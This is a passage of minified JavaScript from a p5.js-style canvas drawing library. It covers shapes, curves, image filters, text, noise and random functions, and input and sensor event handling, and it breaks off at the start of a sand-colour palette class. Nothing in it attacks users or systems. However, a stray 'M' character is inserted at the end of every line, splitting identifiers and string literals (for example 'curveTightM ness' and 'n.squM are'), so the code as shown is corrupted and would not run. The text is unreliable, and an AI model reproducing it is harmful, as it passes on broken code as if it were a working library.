ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
